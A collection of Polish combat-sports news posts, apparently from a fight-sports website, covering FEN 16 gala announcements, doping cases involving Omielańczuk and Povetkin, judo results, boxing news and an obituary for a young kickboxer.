W końcu Omielańczuk został oczyszczony z zarzutu o stosowanie zakazanych substancji. Teraz już nikt nie może mieć żadnych wątpliwości, co do „czystości” polskiego wojownika. – Jakiś czas temu świat obiegła informacja o zażywaniu przeze mnie meldonium. Amerykańska Komisja Antydopingowa po zapoznaniu się z moimi wyjaśnieniami i historią medyczną uwolniła mnie od zarzutu stosowania niedozwolonej substancji. Meldonium potrzebne było w celach medycznych i w okresie, kiedy nie było zakazane.  Gdy tylko okazało się, że zostanie wprowadzone na listę środków zakazanych, zmieniliśmy rodzaj terapii. Zawsze z czystym sumieniem poddaje się kontroli antydopingowej i to się nie zmieni – napisał 34-latek na swoim facebooku.

Czeka na piąte zwycięstwo

18 marca w Londynie Daniel Omielańczuk będzie miał kolejną szansę, żeby wznieść ręce w geście triumfu. Podczas gali UFC Fight Night 107 zmierzy się z Timothy'm Johnsonem. Blisko rok temu Amerykanin pokonał Marcina Tyburę, ale w ostatnim starciu musiał uznać wyższość Alexandra Volkova.

KM

FEN 16 Warsaw Reloaded bez walki Hadaś vs Grzebyk

Nie dojdzie do skutku zaplanowana na 11 marca walka o tytuł mistrzowski w kategorii średniej między Andrzejem Grzebykiem a Pawłem Hadasiem. Przyczyną anulowania pojedynku są sprawy osobiste zawodnika z Rzeszowa. Zamiast nich na gali FEN 16 Warsaw Reloaded wystąpi Bartłomiej Kopera, który zmierzy się z rywalem z zagranicy.

Andrzej Grzebyk poinformował zarząd federacji FEN, że z ważnych powodów osobistych nie może bić się na gali FEN 16 Warsaw Reloaded. Po przeanalizowaniu sprawy argumenty przedstawione przez zawodnika Legion Team Tarnów zostały przyjęte. Jednocześnie zarzaduznał, że nie będzie poszukiwany nowy rywal dla Pawła Hadasia. Zawodnik otrzymał propozycję interesującej pod względem sportowym walki trzy tygodnie później podczas zawodów w rodzinnym Chorzowie i włodarze FEN wyrazili zgodę na jego występ przed własną publicznością.

Paweł Hadaś, który nadal jest związany kontraktem z organizacją Fight Exclusive Night, z pewnością jeszcze w tym roku pojawi się w klatkoringu FEN. Wstępnie jego walka planowana jest podczas jesiennej gali.

Zamiast starcia Andrzeja Grzebyka z Pawłem Hadasiem kibice na Torwarze obejrzą walkę z udziałem jednego z najlepszych polskich piórkowych, niepokonanego od blisko trzech lat Bartłomieja Kopery (24 lata, 175 cm, 8-2, 6 SUB). Łodzianin od marca 2014 wygrał sześć walk z rzędu, z czego dwie ostatnie w organizacji FEN – na gali FEN 11 Warsaw Time jednomyślną decyzją sędziów pokonał Sebastiana Kotwicę, a na gali FEN 13 Summer Edition poddał w pierwszej rundzie Nikodema Szymańskiego. Rywalem Kopery podczas FEN 16 Warsaw Reloaded będzie zawodnik z zagranicy, a jego nazwisko zostanie ogłoszone w ciągu kilku dni.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

LIVE: Gala Pałuska Kickboxing Night 3

Zapraszamy na transmisję telewizyjną na żywo z gali Pałuska Kickboxing Night 3. Organizatorem gali jest klub Panzer Suwałki. Start gali sobota 11 luty godz. 19.00.

[kod]

Gala Pałuska Kickboxing Night 3

Gala Pałuska Kickboxing Night 3

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/PanzerSuwalki2017.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/PanzerSuwalki2017.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/PanzerSuwalki2017.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/PanzerSuwalki2017.livx"
},
width: 640,
height: 385,
autoplay: false,
});

LIVE: FEN 16 Warsaw Reloaded – Trening medialny

Zapraszamy na transmisję telewizyjną na żywo z treningu medialnego przed galą FEN 16 Warsaw Reloaded.

[kod]

FEN 16 Warsaw Reloaded Trening Medialny

FEN 16 Warsaw Reloaded Trening Medialny

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/FEN15.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/FEN15.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/FEN15.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/FEN15.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Wilder bije się o 5 milionów

Ale nie na ringu, tylko w sądzie. Rusza proces, w którym Deontay Wilder oskarża Aleksandra Powietkina o stratę 5 milionów dolarów.

Przyszłość rosyjskiego pięściarza stoi pod znakiem zapytania. Wszystko przez jego przygody z zakazanymi środkami. Gdyby tego było mało, do akcji wkroczył Wilder.

Hit tylko na papierze

21 maja 2016 roku na ringu w Moskwie Deontay Wilder miał stanąć do kolejnej obrony mistrzowskiego pasa WBC w wadze ciężkiej. Wyzwanie rzucił mu Aleksander Powietkin. 37-letni dziś Rosjanin to były czempion WBA, który rywalizował z samym Władimirem Kliczko. Przez lata uchodził za pięściarza o ogromnych możliwościach. W maju miał szansę stoczyć kolejną mistrzowską walkę, ale ją zaprzepaścił. Początkowo pojedynek Rosjanina z Wilderem został przełożony, a następnie odwołany.

W organizmie popularnego „Saszy” wykryto meldonium, czyli specyfik, który stał się źródłem kłopotów dla wielu sportowców. Warto przypomnieć, że substancja znalazła się na liście zakazanych wraz z początkiem 2016 roku. Można by tłumaczyć Powietkina, że pewnie używał meldonium wcześniej i tylko w celach leczniczych, ale… No właśnie i tu pojawia się problem. Rosjanina przebadano 7, 8 i 11 kwietnia, wszystkie próbki wskazywały, że jest „czysty”. Jednak 27 kwietnia sytuacja była zgoła odmienna. Wynik badania był pozytywny – Rosjanin został przyłapany na stosowaniu dopingu.

Gdyby tego było mało, w grudniu Powietkin zaliczył kolejną dopingową wpadkę. Przed starciem z Bermanem Stivernem, w organizmie 37-latka wykryto zakazaną ostarynę. Co istotne, Rosjanin walczył w grudniu, ale nie ze Stivernem. W Jekaterynburgu zmierzył się z Johannem Duhaupasem, którego ciężko poturbował. Rosjanin oczekuje na decyzję WBC, która może go zdyskwalifikować za przyjmowanie niedozwolonych środków.

Do akcji wkroczył również Deontay Wilder. Mistrz świata WBC przygotowywał się do starcia z Rosjaninem, które miało być jednym z najciekawszych walk ostatnich lat. O pojedynku mówiło się wiele, ale wpadka dopingowa „Saszy” przekreśliła wszystko. Wilder wycenia swoje straty na 5 milionów dolarów. Sprawą zajmie się sąd. Obrońca Rosjanina będzie starał się przedstawić argumentację, która pozwoli wyjść jego klientowi zwycięsko z tej batalii. Zwraca się uwagę na fakt, że meldonium może występować w moczu nawet do roku. Czy Powietkin wyjdzie cało z tego starcia?

Dwa tygodnie do walki

Sprawa sądowa będzie toczyła się swoim torem, a Deontay Wilder szlifuje formę przed starciem z Geraldem Washingtonem, które odbędzie się 25 lutego na gali w Legacy Arena w Birmingham. To będzie piąta obrona tytułu dla 31-letniego pięściarza.

Pierwotnie o pas WBC miał boksować Andrzej Wawrzyk, jednak w jego organizmie wykryto niedozwolone środki. Sprawa jest wyjaśniana.

KM

Polacy tłem dla rywali

Za nami weekend z zawodami European Judo Open. Japonki najlepsze w Sofii, a Francuzi w Odivelas. Polacy nie zachwycili.

Po zimowej przerwie judocy wrócili na tatami. Czekamy na pierwsze medalowe występy biało-czerwonych. Polacy startowali w Bułgarii i Portugalii, ale szybko odpadali z rywalizacji.

Dwie w Sofii

W Bułgarii wystąpiło 141 zawodniczek z 22 krajów. Najliczniej była obsadzona kategoria 52kg, gdzie zaprezentowało się 28 judoczek. W tym gronie znalazła się również Agata Perenc. 26-letnia Polka, która zajmuje 34. miejsce w światowym rankingu ubiegłoroczne starty zaczęła od 3. miejsca w Tunisie. Dwa lata temu była na najniższym stopniu w Oberwart. Po raz trzeci nie udało się wejść z sukcesem w sezon. 

W Sofii Perenc stoczyła zaledwie dwa pojedynki. Na początek szybko uporała się z Turczynką Damlą Caliskan i wygrała przez ippon. Trudne warunki Polce postawiła Galiya Sagitova. Rosjanka zanotowała waza-ari, ostatecznie zakończyła zmagania na siódmej pozycji.

Drugą z naszych zawodniczek startujących w Sofii była Julia Kowalczyk (57kg). W ubiegłym roku 19-latka stanęła na trzecim miejscu podium na mistrzostwach Europy juniorów. Wystąpiła również w dwóch zawodach na poziomie seniorskim. W Sarajewie doszła do ćwierćfinału, zaś w Warszawie odpadła po dwóch pojedynkach. Zmagania w Sofii również zakończyła na drugiej walce. Rywalizację w Bułgarii Polka rozpoczęła od zdecydowanej wygranej z Tugbą Zehir. 19-letnia judoczka triumfowała przez ippon, ale w kolejnej walce w ten sam sposób… przegrała. Lepsza od Kowalczyk okazała się Sarah Harachi, która ostatecznie zajęła trzecie miejsce.

Rywalizację w Bułgarii zdominowały zawodniczki z Japonii, które zdobyły pięć złotych medali. Dołożyły do tego trzy srebra i dwa brązy.

Szybka przygoda

Bez rewelacji również nasza męska część kadry. Sześciu zawodników startowało w Portugalii, jednak żaden z nich nie otarł się o podium. Łącznie w Odivelas zaprezentowało się 220 judoków.

W kategorii 60kg wystąpili Adrian Wala i Bartłomiej Garbacik. Pierwszy z nich w ubiegłym roku zajął 3. miejsce w Pucharze Europy w Dubrowniku, a w Tallinie był piąty. Rywalizację w Portugalii rozpoczął od zwycięstwa z Nicolasem Gomezem, którego zdominował w całości. Cedric Revol zawiesił Polakowi wysoko poprzeczkę i wygrał przez ippon. Z kolei Garbacik przegrał z Joshuą Katzem przez… dwie kary shido.

21-letni Patryk Wawrzyczek w kategorii 66kg pożegnał się z rywalizacją po pierwszej walce. Tak samo jak Wiktor Mrówczyński (73kg). Z kolei Tomasz Szczepaniak (90kg) i Kamil Niedziela (100kg) wygrali po jednej walce.

Najlepsi w Odivelas okazali się Francuzi, ale kroku dotrzymywali im Rosjanie. Trójkolorowi wywalczyli dziewięć medali, w tym dwa złote i dwa srebrne. O ich pierwszeństwie w klasyfikacji medalowej zdecydowała ilość brązowych krążków. Francuzi zdobyli ich pięć, a Rosjanie tylko jeden (razem pięć medali: dwa złote, dwa srebrne i brąz).

KM

Paweł Pawlak vs Ireneusz Szydłowski na karcie walk FEN 16 Warsaw Reloaded

Były zawodnik UFC Paweł Pawlak oraz autor najlepszego nokautu gali FEN 13 Ireneusz Szydłowski 11 marca ponownie wejdą do klatkoringu Fight Exclusive Night, by zmierzyć się ze sobą w jednej z najciekawszych walk MMA podczas FEN 16 Warsaw Reloaded na Torwarze.

Paweł Pawlak (28 lat, 182 cm, 11-3) to jeden z niewielu polskich zawodników, którzy podpisali kontrakt z UFC. Jego przepustką do oktagonu amerykańskiego giganta była efektowna seria 10 zwycięstw z rzędu, od których łodzianin rozpoczął swoją zawodową karierę. W UFC "Plastinho" stoczył trzy walki – pokonał Kanadyjczyka Sheldonem Westcottem, ale przegrał z Niemcem Peterem Sobottą i Leonem Edwardsem z Anglii, co przekreśliło jego szanse na przedłużenie przygody z tą organizacją. Po powrocie do Polski Pawlak związał się z federacją FEN i wiosną ubiegłego roku zadebiutował na gali FEN 12 Feel The Force we Wrocławiu. Pojedynek z Igorem "Chatubinhą" Fernandesem nie poszedł jednak po jego myśli – łodzianin nie wytrzymał kondycyjnie i jednogłośną decyzją sędziów wygrał Brazylijczyk. "Plastinho" wyciągnął wnioski z tych niepowodzeń: ostro pracował nad formą, wyleczył wszystkie kontuzje i dziś jest stuprocentowo gotów na to, by na FEN 16 Warsaw Reloaded powrócić na ścieżkę zwycięstw.

Ireneusz Szydłowski (43 lata, 181 cm, 6-1), mimo że jest o 15 lat starszy i ma na koncie o połowę mniej walk, z pewnością będzie dla Pawlaka trudnym przeciwnikiem. Pochodzący z Trójmiasta weteran jest żywym dowodem na to, że nigdy nie jest za późno na realizację pasji i marzeń. Regularne uprawianie sportów walki – zanim wybrał MMA, trenował boks, K-1 oraz BJJ – rozpoczął dopiero po trzydziestce, ale ciężka praca przynosi świetne efekty. Reprezentant Baltic MMA Fighters Gdańsk w siedmiu zawodowych walkach MMA przegrał tylko raz – i to niejednogłośną decyzją sędziów – z Anglikiem Shaunem "The Legend" Lomasem. W debiucie w Fight Exclusive Night na ubiegłorocznej gali FEN 13 Summer Edition Szydłowski zaimponował, pokonując w drugiej rundzie faworyzowanego Bartosza „Hulka” Chyrka. Akcja, rozpoczęta potężnym front-kickiem na wątrobę, po której leżącego już na deskach rywala zasypał gradem ciosów, przyniosła mu nie tylko szóste zwycięstwo w karierze, ale i bonus za najlepszy nokaut wakacyjnej gali w Gdyni.

FEN 16 Warsaw Reloaded to druga gala federacji Fight Exclusive Night w Warszawie. W walkach o pas mistrzowskie w formule MMA zmierzą się Paweł Hadaś z Andrzejem Grzebykiem w kategorii średniej oraz Paweł Żelazowski z Kamilem Gniadkiem w kategorii półśredniej, a main eventem gali będzie starcie MMA Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą. W fight cardzie znalazł się też pojedynek MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią oraz walka K-1 Arkadiusza Wrzoska z Arturem Bizewskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Silva vs Łebkowski w walce wieczoru FEN 16 Warsaw Reloaded

Niepokonany w zawodowym ringu Gabriel „Gabito” Silva będzie przeciwnikiem najlepszego polskiego „piórkowego” Kamila „Bomby” Łebkowskiego w walce wieczoru gali FEN 16 Warsaw Reloaded. 11 marca na Torwarze młodego Brazylijczyka z narożnika wspierać będzie jego walczący w UFC brat Erick "The Tiger" Silva.

22-letni Gabriel „Gabito” Silva (6-0, 2 KO, 2 SUB) to jeden z najbardziej perspektywicznych zawodników z Brazylii, któremu eksperci wróżą w niedalekiej przyszłości debiut w oktagonie UFC. Mimo młodego wieku utalentowany „Gabito” jest już posiadaczem czarnego pasa w brazylijskim jiu-jitsu i mistrzem stanu Espirito Santo w zapasach. Aktualnie jest również numer 1 w rankingu kickbokserów tego stanu. Obserwatorzy brazylijskiej sceny MMA podkreślają przede wszystkim jego wszechstronność, dobre wyszkolenie techniczne i inteligentny styl walki. Do walki z Kamilem Łebkowskim Gabriel Silva przygotowuje się w Tiger’s Den MMA Gym w rodzinnym mieście Vila Velha, powstałym na bazie szkoły Erick Silva Pro Fight Academia, gdzie trenuje nie tylko ze swoim bratem, ale też z byłą gwiazdą organizacji Pride i UFC, Japończykiem Akihiro Gono. Walka na gali FEN 16 Warsaw Reloaded będzie jego pierwszym zagranicznym, a jednocześnie najważniejszym występem w karierze – z dotychczasowych swoich pojedynków za najlepszy uważa starcie z Viniciusem Baraldo na gali Jungle Fight 50, które wygrał nokautującymi ciosami w parterze już w 28. sekundzie walki.

Dla 29-letniego Kamila „Bomby” Łebkowskiego (15-4, 8 KO, 2 SUB) walka z Gabrielem Silvą będzie drugą w klatkoringu Fight Exclusive Night. W debiucie na gali FEN 13 Summer Edition, uznanym za jedno z najważniejszych wydarzeń polskiego MMA w 2016 roku, odniósł bezapelacyjne zwycięstwo nad byłym zawodnikiem UFC Piotrem Hallmannem. Było to dziesiąte zwycięstwo z rzędu reprezentanta klubu Dziki Wschód Biała Podlaska, który ostatniej porażki doznał blisko cztery lata temu. W ubiegłym roku zapisał on na swoim koncie jeszcze inny spektakularny sukces – wpisał się do historii jako pierwszy zawodnik z Polski, który nie tylko walczył, ale i wygrał na arenie World Series of Fighting, jednej z głównych organizacji MMA na świecie. „Bomba” na gali WSOF Global Championship 2 w Tokio uciszył miejscową publiczność, potężnym podbródkowym w 4. minucie pierwszej rundy powalając Japończyka Yoshihiro Koyamę.

11 marca podczas FEN 16 Warsaw Reloaded na Torwarze kibiców czekają też dwie walki o tytuły mistrzowskie FEN w formule MMA: Andrzeja Grzebyka z Pawłem Hadasiem o pierwszy w historii pas w kategorii średniej oraz Pawła Żelazowskiego z Kamilem Gniadkiem o pas w wadze półśredniej. Bardzo inetersująco zapowiadają się także walki K-1 Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz pojedynki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Przestraszył się rywala? Złamany nos wymówką?

25 lutego w Teksasie Miguel Cotto miał zmierzyć się z Jamesem Kirklandem, jednak do pojedynku nie dojdzie. Amerykanin złamał nos, ale Portorykańczyk ma wątpliwości, czy jego niedoszły rywal nie symuluje urazu.

Zdarza się, że na ostatniej prostej bokser wypada z karty walk z powodu kontuzji. Rozpoczyna się poszukiwanie zastępcy, czemu towarzyszy pośpiech i nadzieja, że uda się wszystko zapiąć na ostatni guzik. Nie w tym wypadku… Gala w Teksasie została odwołana. Miguel Cotto musi szukać kolejnego rywala, bo bardzo chce wejść do ringu. Po raz ostatni walczył w listopadzie 2015 roku.

Kirkland udaje?

Taką teorię wysnuł 36-letni Cotto. Portorykańczyk oczekuje, że rywal zaprezentuje dowody, które przedstawią jego niedyspozycję. – Decyzja jest zrozumiała, jeśli doszło do kontuzji. Chciałabym, żeby Kirkland i jego team przedstawili dowody, które potwierdzą złamanie nosa – powiedział Cotto.

Portorykańczyk jest rozczarowany, bo przez kilkanaście tygodni przygotowywał się intensywnie do lutowego starcia. Teraz może usiąść wygodnie i czekać. Sytuacja nie rozwija się po myśli Cotto, który jest u schyłku kariery, o czym sam mówił. 36-latek planuje zakończyć przygodę z boksem w 2017 roku. Podkreśla, że nadszedł moment, w którym należy skupić się na rodzinie.

Mówiło się, że prawdopodobnie Cotto stoczy jeszcze dwa pojedynki. 25 lutego miał stanąć do rywalizacji z Kirklandem, jednak sytuacja skomplikowała się. 32-letni Amerykanin zrezygnował z rywalizacji z powodu kontuzji nosa. Ringowe dokonania Kirklanda mogą imponować, bo aż 28 z 32 walk zakończył przed czasem. Ostatnio, 9 maja 2015 roku, przegrał przez nokaut z Saulem Alvarezem. Od tamtego czasu nie walczył. Z pewnością pojedynek Amerykanina i Portorykańczyka mógłby dostarczyć wrażeń, jednak trzeba obejść się smakiem.

Co ciekawe, Cotto w swojej ostatniej walce poległ z Alvarezem. Na szali pojawił się pas mistrza świata WBC w kategorii średniej. Sędziowie jednogłośnie wskazali na Meksykanina.

Kto rywalem Cotto?

Wśród potencjalnych rywali Cotto pojawiło się nazwisko Juana Manuela Marqueza. Po raz ostatni Meksykanin walczył ponad dwa lata temu. W hali Forum w Inglewood pokonał Mike'a Alvarado. Swego czasu 43-letni Marquez brylował na ringu i zdobywał tytuły mistrzowskie w wadze junior półśredniej, lekkiej, piórkowej oraz junior lekkiej. Dawno nie prezentował się w ringu, więc trudno ocenić jego formę. Cotto nie wyklucza starcia z Meksykaninem, jednak stawia sprawę jasno. Liczą się pieniądze. 36-letni Portorykańczyk podkreśla, że przez czas, który został mu do zakończenia kariery chce zarobić jak najwięcej. 

Z pewnością gwarancją realizacji celu dla Cotto byłoby rewanżowe starcie z Saulem Alvarezem. Portorykańczyk zaznaczył swoją gotowość do rywalizacji z 26-latkiem. 6 maja Alvarez zmierzy się z Julio Cesarem Chavezem Jr., a później możliwe, że dojdzie do jego walki z Giennadijem Gołowkinem. Czy Cotto ma szansę, żeby wpasować się w kalendarza Meksykanina? Przewijają się informacje, że może w grudniu. Pożyjemy, zobaczymy.

KM

Tragiczna śmierć młodego kickboxera

Śmierć zawsze jest ogromnym przeżyciem dla tych, którym przychodzi się z nią zmierzyć. Strata bliskiej osoby jest niezwykle bolesna, a pogodzenie się z jej odejściem bardzo trudne. Dotarła do nas niezwykle smutna informacja. W wieku 17 lat zmarł Jakub Szczęsny, który odnosił sukcesy w kickboxingu.

W takich chwilach rodzi się tylko jedno pytanie: dlaczego. Zwłaszcza, że chodzi o młodego i mającego całe życie przed sobą chłopaka, który miał ogromną pasję i talent. Urońmy łzę i zawsze o nim pamiętajmy.

Jakub Szczęsny trenował w klubie FC Knurów. Zapowiadał się na niezwykle ciekawego zawodnika, który od najmłodszych lat przejawiał niezwykły potencjał. Wielka kariera stała u jego stóp…

Szczęsny zapisał na swoim koncie potrójne mistrzostwo Polski Federacji UFR. Oprócz kickboxingu, uprawiał również taekwondo, w którym odnosił sukcesy. W 2014 roku wywalczył złoty medal Otwartych Mistrzostw Holandii. Największym osiągnięciem w jego karierze było zdobycie mistrzostwa świata w kickboxingu. Po najwyższy laur sięgnął w październiku we Włoszech na Zunifikowanych Mistrzostwach Świata UWCh.

Konsekwentnie realizował swoją pasję i odnosił sukcesy. W takich chwilach trudno cokolwiek napisać… Gdy odchodzi tak młody człowiek, przychodzi refleksja nad tym, że w życiu trzeba cieszyć się obecnością bliskich każdego dnia.

Śmierć zawodnika wstrząsnęła całym klubem FC Knurów. – „Odszedł od nas” Jakub Szczęsny nasz klubowy kolega, wspaniały zawodnik Kickboxingu i Taekwondo. Wszyscy zapamiętamy go jako uśmiechniętego, wesołego i inteligentnego chłopaka z wyjątkowym zapałem do treningu. Łączymy się w bólu z rodziną Kuby – napisano na facebookowej stronie klubu.

Fot. FC Knurów Facebook

KM

Ladies Fight Night patronem żeńskich pojedynków na MAC – MMA Amator Cup

Już 11 lutego, w Łęcznej, zadebiutuje organizacja MAC konfrontująca zawodników chcących zapewnić sobie miejsce w reprezentacji Polski na Mistrzostwa Świata czy Europy w amatorskim MMA. Ladies Fight Night objęła patronatem walki kobiet podczas MMA AMATOR CUP i tym samym rozpoczęła współpracę z ligą sportową. Najlepsze zawodniczki mają szansę na kontrakt i debiut zawodowy podczas gal LFN. To kolejny krok organizacji, która wyraźnie zaznacza swoje miejsce na rynku kobiecego MMA.

Podczas pierwszego wydarzenia w Łęcznej będziemy świadkami 14 pojedynków toczonych na amatorskich zasadach MMA na dystansie 3 rund 3 minutowych. Każdy pojedynek będzie oparty na zasadach Uni Fight Rules. W karcie walk gali w Łęcznej znalazły się trzy żeńskie pojedynki.

Magdalena Albrecht – reprezentantka klubu BJJ Pankration Włodawa, wychowanka Marcina Poźniaka, zmierzy się z mniej doświadczoną reprezentantką klubu Górnik Łęczna MMA – Izabelą Walczak, która choć od niedawna trenuje MMA, na swoim koncie ma już tytuł Vice Mistrzyni Polski ALMMA – Amatorska Liga MMA. Będzie to starcie dwóch zawodniczek z Lubelszczyzny w kategorii słomkowej do 52 kg. W drugim pojedynku Aleksanda Rola, dwukrotna mistrzyni Polski ALMMA w kategori do 52 kg oraz posiadaczka  mistrzowskiego pasa federacji AFC zmierzy się z Natalią Matląg trenującą na co dzień w Szkole Walki Drwala, która będzie chciała zrewanżować się podczas MAC 1 za przegraną w Lublinie w ubiegłym roku. W podwyższonym limicie kategorii koguciej do 65 kg Adrianna Stańkowska zmierzy się z Nikoliną Sokołowską. Adrianna jest zawodniczką trenującą na co dzień w klubie BJJ Pankration Włodawa, zaś Nikola trenuje w MMA TEAM EŁK.

„Naszym celem od początku jest promocja kobiecego MMA, dlatego objęcie patronatem żeńskich pojedynków podczas MMA AMATOR CUP, gdzie występować będą najlepiej zapowiadające się polskie zawodniczki, to dla LFN naturalna droga. Cały czas poszukujemy młodych talentów i chcemy wspierać dziewczyny w rozwijaniu ich pasji a potem kariery zawodowej.” – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night.

MAC to liga sportowa zrzeszająca zawodników amatorskiego MMA, sankcjonowana przez Polską Federację MMA (PFMMA). Podczas wydarzeń organizowanych przez MAC rywalizują tylko i wyłącznie amatorzy, chcący zdobyć doświadczenie przed karierą zawodową. Najlepsi zawodnicy walczą o miejsca w kadrze narodowej podczas Mistrzostw Świata w amatorkim MMA.

Ladies Fight Night jest pierwszą i jedyną w Europie żeńską organizacją sportów walki. Jak zapowiadają włodarze LFN zawodniczki, które najlepiej zaprezentują się podczas turniejów ligowych MAC i będą chciały rozpocząć karierę zawodową, mają otwartą drogę do współpracy z organizacją.

Oleksiejczuk vs Nosiglia na gali FEN 16 Warsaw Reloaded

Riccardo Nosiglia, który podczas gali FEN 15 Final Strike sensacyjnie pokonał Marcina Zontka, już 11 marca ponownie wystąpi w klatkoringu Fight Exclusive Night. Na gali FEN 16 Warsaw Reloaded na Torwarze rywalem włoskiego specjalisty od nokautów w pierwszych rundach będzie utalentowany polski prospekt Michał Oleksiejczuk.

Riccardo „The Walking Dead” Nosiglia (27 lat, 186 cm, 5-0), dwukrotny mistrz włoskiej organizacji Power Nation Fighting Championship w kategorii półciężkiej, to jedno z najnowszych odkryć federacji Fight Exclusive Night. Zawodnik Shoot Team Padwa, mimo że propozycję walki z Marcinem Zontkiem przyjął tydzień przed galą i po raz pierwszy walczył na tak dużej imprezie, w Lubinie zaprezentował się świetnie. Włoch szybko przejął inicjatywę, zdominował rywala i wygrał w stylu, który stał się już jego wizytówką – najpierw powalił  byłego pretendenta do pasa mistrzowskiego FEN na deski, a potem zasypał go gradem ciosów, po których sędzia przerwał pojedynek. Była to piąta zawodowa walka Nosiglii i jednocześnie piąta z rzędu, którą „The Walking Dead” skończył uderzeniami w parterze już w pierwszej rundzie.

Jego przeciwnik na gali FEN 16 Warsaw Reloaded, Michał „The Hammer” Oleksiejczuk (21 lat, 182 cm, 10-2), może pochwalić się jeszcze bardziej imponującą serią – reprezentant GKS Górnik Łęczna wygrał siedem kolejnych walk, pozostając niepokonanym od ponad dwóch lat. Jedno z tych zwycięstw odniósł na gali FEN 12 Feel The Force, wygrywając na punkty po ciężkim trzyrundowym boju ze szczecińskim Berserkerem Wojciechem Januszem. W ubiegłym roku Oleksiejczuk zdobył także, a później obronił tytuł mistrza lokalnej federacji Thunderstrike Fight League, pokonując Łukasza Borowskiego i Łukasza Klingera. Zdaniem ekspertów, „The Hammer” to jeden z tych młodych polskich fighterów MMA, którzy mają największe szanse na podpisanie w najbliższym czasie kontraktów z organizacją UFC.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji Fight Exclusive Night w stolicy Polski. Federacja poinformowała wcześniej, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy mistrzowskie FEN walczyć będą Paweł Żelazowski z Kamilem Gniadkiem w wadze półśredniej i Paweł Hadaś w kategorii średniej. W formule K-1 kibiców czeka starcie Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Hadaś vs Grzebyk o pas na FEN 16 Warsaw Reloaded

Dwóch agresywnie i widowiskowo walczących zawodników zmierzy się na gali FEN 16 Warsaw Reloaded w walce o pierwszy w historii tytuł mistrza organizacji Fight Exclusive Night w MMA kategorii średniej – 11 marca na Torwarze rywalem Pawła Hadasia  będzie Andrzej Grzebyk.

Dla Andrzeja Grzebyka (26 lat, 187 cm, 10-3, 4 KO, 3 SUB) będzie to trzeci występ w organizacji FEN – w ostatniej walce na gali FEN 14 Silesian Rage przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem, a wcześniej na gali FEN 9 Go For It uległ minimalnie na punkty obecnemu zawodnikowi UFC Alessandro Di Chirico. Znany z bardzo ofensywnego stylu walki młody wojownik z Rzeszowa (aż 7 z 10 zwycięstw odniósł przez nokaut lub poddanie) pod koniec ubiegłego roku do swego bilansu dopisał jeszcze efektowny nokaut na gali Celtic Gladiator 11, ciosami w parterze rozbijając w pierwszej rundzie Irlandczyka z austriackim paszportem Floriana Herringera. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

Drugi z pretendentów Paweł Hadaś (30 lat, 188 cm, 7-1, 6 SUB) na gali FEN 16 powalczy nie tylko o pas, ale i o przedłużenie imponującej serii 7 wygranych z rzędu. Dwa ostatnie zwycięstwa do tego rekordu doświadczony zawodnik Gracie Barra Chorzów i Paco Team Katowice dopisał w ubiegłym roku w klatkoringu FEN, duszeniami poddając Aleksandra Rychlika na gali FEN 10 Gold Edition i Pawła Brandysa na gali FEN 14 Silesian Rage. Choć chorzowianin wywodzi się z kickboxingu, to uchodzi za groźnego grapplera – jako amator zdobył Puchar Polski ADCC w brazylijskim jiu-jitsu i tytuł mistrza Polski w jiu-jitsu. Sukcesem Hadasia jest też finał turnieju Fightstar Promotions: Rage in the Cage 3 w Szkocji, do którego dotarł po pokonaniu Anglika Kyle’a Redfearna i Austriaka Markusa Di Gallo (z walki finałowej Polaka wykluczyła kontuzja).

Starcie Andrzeja Grzebyka z Pawłem Hadasiem będzie jedną z dwóch walk o pas mistrzowski FEN na gali 16 Warsaw Reloaded. 11 marca na Torwarze o tytuł w formule MMA w wadze średniej walczyć będą również Paweł Żelazowski z Kamilem Gniadkiem. Z kolei w main evencie o jedenaste zwycięstwo z rzędu powalczy znakomity piórkowy Kamil Łebkowski. Dużych emocji powinna dostarczyć również walka Michała Oleksiejczuka z Włochem Riccardo Nosiglią, pojedynek K-1 Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz kickbokserskie walki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

To już koniec?

Wszystko wskazuje na to, że Ronda Rousey zakończy swoją przygodę z MMA. Po porażce z Amandą Nunes, Amerykanka postanowiła wziąć czas na przemyślenie swojej przyszłości. Zdaniem Dana White'a, Rousey zakończy karierę.

